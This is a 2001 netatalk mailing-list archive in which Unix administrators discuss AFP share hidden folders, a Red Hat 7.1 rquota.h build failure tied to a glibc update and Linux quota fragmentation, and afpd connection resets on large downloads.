Reply-To: glenn@trewitt.org
X-Mailer: Mozilla 4.78 (Macintosh; U; PPC)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Alistair Riddell <ali@gwc.org.uk>
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] quick guide to "hidden" folders in netatalk shares
References: <Pine.LNX.4.21.0110192251480.1361-100000@frank.gwc.org.uk>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

This is a very good start.  I have a few comments.

First of all (minor point), all of these files are fiddled with by afpd, not
netatalk.  I don't know if you want to make this distinction or not.

Alistair Riddell wrote:

> Note that in general on Netatalk shares, all directories should have the
> setgid bit set. This forces any new files or folders created to have the
> same group as the folder they were created in.

This is what netatalk does, but it isn't necessary on FreeBSD systems.  On
FreeBSD (probably all BSD systems), the new directory *always* inherits the
group of the parent.  [Side note to developers - the setgid bit is confusing,
because it's purpose (for directories) in *BSD isn't documented anywhere that
I've been able to see, so having it set on those systems sends people off on
wild goose chases to figure out what it's for.  I'll bet that autoconf has a
macro to detect this behavior.]

> .AppleDouble/
>
> This directory exists inside each folder on a Netatalk share. It contains
> the resource fork of each file in that folder. Its permissions should
> match those of its parent directory, i.e. anyone who has write access to
> the parent directory must have write access to the corresponding
> .AppleDouble directory.

It's not just the resource fork, it's also the file creator/type, and any
other Mac file system information that doesn't have an analog on UNIX.  i.e.,
this file will exist, and be non-empty, even if the file has no resource
fork.

You might also mention that .Parent (in .AppleDouble) contains the Mac HFS
information for the directory.  e.g., MyFolder/.AppleDouble/.Parent contains
info for MyFolder

> Network\ Trash\ Folder/
>
> This exists at the top level of each sharepoint. This is where files that
> are put in the Trash on clients go, until the Trash is emptied.
>
> The permissions of items in this directory are a pretty complicated
> subject, but basically you should make this directory and everything in it
> world-writeable if you want the Trash can to work properly. If you don't
> make it writeable then users will get a message "That item cannot be put
> in the Trash. Do you want to delete it immediately?" if they try to put
> something in the Trash.

This is correct on Mac OS < X, but I was just fiddling with this from OS X,
and no combination of permission bits makes it work.  In fact, on OS X, the
Network Trash Folder is visible in the Finder, suggesting that it doesn't
treat it specially.  Has anyone seen any evidence that OS X can use the trash
can (rather than deleting immediately) with network volumes?  (The best test
would be to test file sharing/trashing behavior between an OS X client and an
OS X server, but I only have one OS X system.)

Do you want to make any mention of the files/directories in the Network Trash
Folder, such as:
    Trash Can Usage Map
    Trash Can #NN

Hope this is helpful.
    - Glenn Trewitt




From netatalk.administrators-errors@umich.edu  Sat Oct 20 15:42:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA11342
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 15:42:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA28647
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 15:42:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA28636
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 15:42:09 -0400 (EDT)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA28514
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 15:42:00 -0400 (EDT)
Received: from webdata ([205.150.212.14])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with SMTP id f9KJeTQ09749
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 15:40:29 -0400 (EDT)
Message-ID: <004701c1599e$b3e308f0$0ed496cd@webdata>
From: "Jason Lam" <lamj-list2@cmgraphics.net>
To: <netatalk-admins@umich.edu>
Subject: rquota.h problem with RH7.1?
Date: Sat, 20 Oct 2001 15:37:49 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300

I am trying to compile netatalk 1.5pre8 on RH 7.1 (i386). I am encountering
problem with rquota.h.

Config command:
--------------------
./configure --enable-redhat --with-pam --with-shadow --with-config-dir=/etc/
atalk --with-msg-di=/etc/atalk/msg --with-uam-path=/etc/atalk/uams

When compiling nfsquota.c
---------------------------
nfsquota.c:50:26:rpcsvc/rquota.h:Nosuch file or directory
make[4]: [nfsquota.o] Error 1

I read the README.linux and I think I should change the sys/linux/Makefile,
however, the sys/linux directory simply does not exist, (configure) did not
create it.

Can I enable NO_QUOTA_SUPPORT to get rid of this? If so, please provide
instruction on using NO_QUOTA_SUPPORT. (I really don't need quota now)

Jason Lam



From netatalk.administrators-errors@umich.edu  Sat Oct 20 16:56:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13768
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 16:56:00 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA25005
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 16:56:00 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA24995
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 16:56:00 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA24964
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 16:55:58 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9KKtvg18621
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 22:55:57 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9KKtvc30207
	for netatalk-admins@umich.edu; Sat, 20 Oct 2001 22:55:57 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15v30R-0001Dk-00
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 22:46:07 +0200
Date: Sat, 20 Oct 2001 22:46:07 +0200
To: netatalk-admins@umich.edu
Subject: Re: rquota.h problem with RH7.1?
Message-ID: <20011020224607.A4580@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <004701c1599e$b3e308f0$0ed496cd@webdata>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <004701c1599e$b3e308f0$0ed496cd@webdata>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Oct 20, 2001 at 03:37:49PM -0400, Jason Lam wrote:

> I am trying to compile netatalk 1.5pre8 on RH 7.1 (i386). I am encountering
> problem with rquota.h.

To quote myself on netatalk-devel:

--------------------------------------------------------------------

On Fri, Oct 19, 2001 at 09:37:42AM -0400, Steven Karel wrote:

> nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
> 
> I don't recall ever seeing this error before. Redhat linux 7.0/7.1
> with 
> updates. Maybe this has to do with the recent glibc update? Looking
> for 
> rquota.h on my system I see:

I do actually think that it's related to the glibc update. I remember
that Debian had the same problem some revisions ago. Try to look for a
file called rquota.x from which rquota.h is auto-generated.

This seems to be a RedHat bug, not a netatalk one.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Oct 20 17:17:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14602
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 17:17:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA14780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 17:17:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA14778
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 17:17:20 -0400 (EDT)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA14762
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 17:17:16 -0400 (EDT)
Received: from webdata ([205.150.212.14])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with SMTP id f9KLFhQ09993;
	Sat, 20 Oct 2001 17:15:43 -0400 (EDT)
Message-ID: <00b301c159ac$01dafba0$0ed496cd@webdata>
From: "Jason Lam" <lamj-list2@cmgraphics.net>
To: "Sebastian Rittau" <srittau@jroger.in-berlin.de>
Cc: <netatalk-admins@umich.edu>
References: <004701c1599e$b3e308f0$0ed496cd@webdata> <20011020224607.A4580@jroger.in-berlin.de>
Subject: Re: rquota.h problem with RH7.1?
Date: Sat, 20 Oct 2001 17:13:03 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300

> > nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
> >
> > I don't recall ever seeing this error before. Redhat linux 7.0/7.1
> > with
> > updates. Maybe this has to do with the recent glibc update? Looking
> > for
> > rquota.h on my system I see:
>
> I do actually think that it's related to the glibc update. I remember
> that Debian had the same problem some revisions ago. Try to look for a
> file called rquota.x from which rquota.h is auto-generated.
>
> This seems to be a RedHat bug, not a netatalk one.

Yes, I just put in the glibc update RHBA-2001:121-05, maybe that's why.

I do notice the rquota.h in the compat-glibc package, I will try to make a
symlink to the file in this package. Will notify you the result in a little
while.

BTW, would eliminating quota get rid of this problem totally? I really don't
need quota on this machine.

THANKS!

Jason Lam




From netatalk.administrators-errors@umich.edu  Sat Oct 20 19:54:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA19503
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 20 Oct 2001 19:54:52 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA26728
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 20 Oct 2001 19:54:52 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA26722
	for netatalk.administrators-members@umich.edu; Sat, 20 Oct 2001 19:54:52 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA26708
	for <netatalk-admins@umich.edu>; Sat, 20 Oct 2001 19:54:51 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9KNsng23524
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 01:54:50 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9KNsng20420
	for netatalk-admins@umich.edu; Sun, 21 Oct 2001 01:54:49 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15v5Gi-0001Op-00
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 01:11:04 +0200
Date: Sun, 21 Oct 2001 01:11:04 +0200
To: netatalk-admins@umich.edu
Subject: Re: rquota.h problem with RH7.1?
Message-ID: <20011021011104.A5345@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <004701c1599e$b3e308f0$0ed496cd@webdata> <20011020224607.A4580@jroger.in-berlin.de> <00b301c159ac$01dafba0$0ed496cd@webdata>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <00b301c159ac$01dafba0$0ed496cd@webdata>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Oct 20, 2001 at 05:13:03PM -0400, Jason Lam wrote:

> BTW, would eliminating quota get rid of this problem totally? I really don't
> need quota on this machine.

I don't know. You could try.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Oct 21 01:15:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA00271
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 21 Oct 2001 01:15:09 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA03068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 21 Oct 2001 01:15:09 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA03061
	for netatalk.administrators-members@umich.edu; Sun, 21 Oct 2001 01:15:08 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA03033
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 01:15:07 -0400 (EDT)
Received: from arts.usyd.edu.au (holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id PAA15215;
	Sun, 21 Oct 2001 15:14:57 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BD259AD.14B89456@arts.usyd.edu.au>
Date: Sun, 21 Oct 2001 15:14:21 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: rquota.h problem with RH7.1?
References: <004701c1599e$b3e308f0$0ed496cd@webdata> <20011020224607.A4580@jroger.in-berlin.de> <00b301c159ac$01dafba0$0ed496cd@webdata>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msC874E4E91C3409892B2322D3"

This is a cryptographically signed message in MIME format.

--------------msC874E4E91C3409892B2322D3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jason Lam wrote:
> 
> > > nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
> > >
> > > I don't recall ever seeing this error before. Redhat linux 7.0/7.1
> > > with
> > > updates. Maybe this has to do with the recent glibc update? Looking
> > > for
> > > rquota.h on my system I see:
> >
> > I do actually think that it's related to the glibc update. I remember
> > that Debian had the same problem some revisions ago. Try to look for a
> > file called rquota.x from which rquota.h is auto-generated.
> >
> > This seems to be a RedHat bug, not a netatalk one.
> 
> Yes, I just put in the glibc update RHBA-2001:121-05, maybe that's why.
> 
> I do notice the rquota.h in the compat-glibc package, I will try to make a
> symlink to the file in this package. Will notify you the result in a little
> while.
> 
> BTW, would eliminating quota get rid of this problem totally? I really don't
> need quota on this machine.

 Linux quotas are a complete mess just at the moment. Better just to
turn the feature off.

 The Linus and Alan kernel trees have different quota structures. Code
written for one wont work on the other.  Alan Cox works for RedHat.
RedHat shipped a -AC kernel, and I understand it has the -AC quota
control code. Thus any thing compiled for RH 7.1 quotas won't work on
non -AC kernel systems.
 Im running SGI's XFS which has its own quota functions/structures as
the Linus ones can't cope with 64bit file systems. Thus there at least 3
sets of quota data structures and interfaces in use for Linux 2.4.x at
the moment.

 The Samba people have made Samba 2.2.2 work with what RedHat shipped,
but that's bound to tick off people running other distributions that may
not use the -AC version of quota... (And im running XFS, so I patched it
to work with XFS. The NetAtalk quota.c has so far scared me off).

 Just to make it more 'interesting' glibc is supposed to 'match' the
kernel. I assume RedHat make sure their kernel/libc are a matched set,
but since the structures might be different what the program is looking
for, your code may not compile or work as expected...

 Where debian fits in I don't know...

 Note I don't follow this very closely. The linux kernel mail list is
probably full of flame wars over this (among other things....)
--------------msC874E4E91C3409892B2322D3
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEwMjEwNTE0MjFaMCMGCSqGSIb3DQEJBDEWBBTTXOdJ
i7sZ0cATCvStSomo0e7iqjA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgMVb3yr59xE/a5RSvnLe
+FEVw3yg8qC3UBpRDby5lmSkOm2VWpBXqT/7LZ+O+u2Zwt+53WqpjBPdrwibUcCz/New0jWA
cdSGVqPu1QR5zerM3+/A1f6A5a5TxH77ykfZ374/buOjMES38cjz3ERJL3o6adXrRMg18iIm
DGtpFHhw
--------------msC874E4E91C3409892B2322D3--


From netatalk.administrators-errors@umich.edu  Sun Oct 21 01:25:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA00544
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 21 Oct 2001 01:25:18 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA11927
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 21 Oct 2001 01:25:18 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA11920
	for netatalk.administrators-members@umich.edu; Sun, 21 Oct 2001 01:25:17 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA11898
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 01:25:16 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id f9L5OVr15896;
	Sun, 21 Oct 2001 01:24:31 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Sun, 21 Oct 2001 01:24:31 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Matthew Geier <matthew@arts.usyd.edu.au>
cc: Netatalk-devel@lists.sourceforge.net, <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] Re: rquota.h problem with RH7.1?
In-Reply-To: <3BD259AD.14B89456@arts.usyd.edu.au>
Message-ID: <20011021012404.X66715-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Sun, 21 Oct 2001, Matthew Geier wrote:

> Jason Lam wrote:
> >
> > > > nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
> > > >
> > > > I don't recall ever seeing this error before. Redhat linux 7.0/7.1
> > > > with
> > > > updates. Maybe this has to do with the recent glibc update? Looking
> > > > for
> > > > rquota.h on my system I see:
> > >
> > > I do actually think that it's related to the glibc update. I remember
> > > that Debian had the same problem some revisions ago. Try to look for a
> > > file called rquota.x from which rquota.h is auto-generated.
> > >
> > > This seems to be a RedHat bug, not a netatalk one.
> >
> > Yes, I just put in the glibc update RHBA-2001:121-05, maybe that's why.
> >
> > I do notice the rquota.h in the compat-glibc package, I will try to make a
> > symlink to the file in this package. Will notify you the result in a little
> > while.
> >
> > BTW, would eliminating quota get rid of this problem totally? I really don't
> > need quota on this machine.
>
>  Linux quotas are a complete mess just at the moment. Better just to
> turn the feature off.
>
>  The Linus and Alan kernel trees have different quota structures. Code
> written for one wont work on the other.  Alan Cox works for RedHat.
> RedHat shipped a -AC kernel, and I understand it has the -AC quota
> control code. Thus any thing compiled for RH 7.1 quotas won't work on
> non -AC kernel systems.
>  Im running SGI's XFS which has its own quota functions/structures as
> the Linus ones can't cope with 64bit file systems. Thus there at least 3
> sets of quota data structures and interfaces in use for Linux 2.4.x at
> the moment.

Give me FreeBSD anytime!  At least I know what I'm getting.

Joe

>
>  The Samba people have made Samba 2.2.2 work with what RedHat shipped,
> but that's bound to tick off people running other distributions that may
> not use the -AC version of quota... (And im running XFS, so I patched it
> to work with XFS. The NetAtalk quota.c has so far scared me off).
>
>  Just to make it more 'interesting' glibc is supposed to 'match' the
> kernel. I assume RedHat make sure their kernel/libc are a matched set,
> but since the structures might be different what the program is looking
> for, your code may not compile or work as expected...
>
>  Where debian fits in I don't know...
>
>  Note I don't follow this very closely. The linux kernel mail list is
> probably full of flame wars over this (among other things....)


From netatalk.administrators-errors@umich.edu  Sun Oct 21 02:19:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA02172
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 21 Oct 2001 02:19:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA20166
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 21 Oct 2001 02:19:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA20160
	for netatalk.administrators-members@umich.edu; Sun, 21 Oct 2001 02:19:42 -0400 (EDT)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA20069
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 02:19:34 -0400 (EDT)
Received: from webdata ([205.150.212.14])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with ESMTP id f9L6I7Q11088
	for <netatalk-admins@umich.edu>; Sun, 21 Oct 2001 02:18:07 -0400 (EDT)
Message-ID: <010101c159f7$c754eb70$0ed496cd@webdata>
From: "Jason" <lamj@cmgraphics.net>
To: <netatalk-admins@umich.edu>
Subject: Client connection reset
Date: Sun, 21 Oct 2001 02:15:27 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300

After getting the compiling problem earier, I finally fixed the problem by
creating a symlink from rquota.h from another package sitting in another
directory to the /usr/include/rpcsvc. This seems to let netatalk compile.

Now I have another problem, uploading to the server seems to be fine, but
downloading from it seems to be problematic. Small files (<1MB) seems to be
OK, but anything larger seem to produce the log below and the client
connection got reset.

-------------------------------------------------------
Oct 21 01:37:41 localhost afpd[2340]: dsi_stream_read(-1): Connection
reset by peer
Oct 21 01:37:41 localhost afpd[2340]: dsi_stream_write: Broken pipe
Oct 21 01:37:41 localhost afpd[2340]: dsi_stream_write: Broken pipe
Oct 21 01:37:41 localhost afpd[2340]: 84746.12KB read, 85.91KB written
Oct 21 01:37:41 localhost afpd[2340]: Connection terminated
Oct 21 01:37:41 localhost afpd[2340]: server_child[1] 2340 exited 1
------------------------------------------------------

Can anyone suggest some fixes for this problem? (This is on a 1.5pre8)

THANKS!

Jason Lam


